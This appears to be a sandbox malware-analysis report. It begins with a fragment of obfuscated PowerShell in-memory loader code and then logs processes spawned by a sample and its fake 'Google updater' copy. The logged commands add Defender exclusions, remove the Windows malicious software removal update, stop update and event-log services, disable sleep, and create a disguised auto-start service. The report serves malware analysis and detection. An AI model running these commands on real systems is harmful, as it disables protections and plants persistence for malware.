Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+'l'+''+'e'+''+[Char](99)+''+[Char](116)+'e'+'d'+''+'D'+''+'e'+''+'l'+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+'Mem'+[Char](111)+''+'r'+''+[Char](121)+''+'M'+''+[Char](111)+''+'d'+''+'u'+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+'e'+[Char](84)+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+'s'+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+'ic'+','+''+[Char](83)+''+[Char](101)+'al'+[Char](101)+''+'d'+','+[Char](65)+''+[Char](110)+'s'+[Char](105)+''+[Char](67)+'l'+[Char](97)+''+'s'+''+'s'+''+[Char](44)+''+[Char](65)+''+'u'+''+'t'+''+[Char](111)+''+[Char](67)+''+'l'+''+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$hzEPfdAIUJU.DefineConstructor('R'+'T'+'Sp'+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+[Char](97)+'m'+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+'S'+''+'i'+''+[Char](103)+''+','+''+'P'+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$rUCvlIraVSkSNU).SetImplementationFlags('Ru'+[Char](110)+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+'aged');$hzEPfdAIUJU.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+'P'+''+'u'+''+'b'+''+[Char](108)+''+'i'+''+'c'+''+','+''+[Char](72)+'i'+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](78)+'e'+[Char](119)+''+[Char](83)+'l'+[Char](111)+'t,V'+'i'+''+'r'+''+[Char](116)+''+'u'+'a'+'l'+'',$lDxjOqsFCa,$rUCvlIraVSkSNU).SetImplementationFlags(''+'R'+''+'u'+'n'+[Char](116)+''+'i'+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+'n'+''+'a'+''+[Char](103)+'e'+[Char](100)+'');Write-Output $hzEPfdAIUJU.CreateType();}$opuJgspdjbNOB=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+'o'+[Char](102)+'t'+[Char](46)+'W'+[Char](105)+''+[Char](110)+'3'+[Char](50)+''+'.'+''+[Char](85)+'n'+[Char](115)+''+'a'+'f'+'e'+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+'et'+[Char](104)+''+[Char](111)+''+[Char](1
Source: C:\Windows\System32\winlogon.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{221f05ee-8fb0-4424-9ba0-bc3ff8f1bf74}
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc	Jump to behavior
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv	Jump to behavior
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits	Jump to behavior
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"	Jump to behavior
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"	Jump to behavior
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog	Jump to behavior
Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{ed3c9ad9-1a05-4753-a177-d35f4db59610}	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{221f05ee-8fb0-4424-9ba0-bc3ff8f1bf74}

Source: C:\Users\user\Desktop\egFMhHSlmf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\winlogon.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\lsass.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
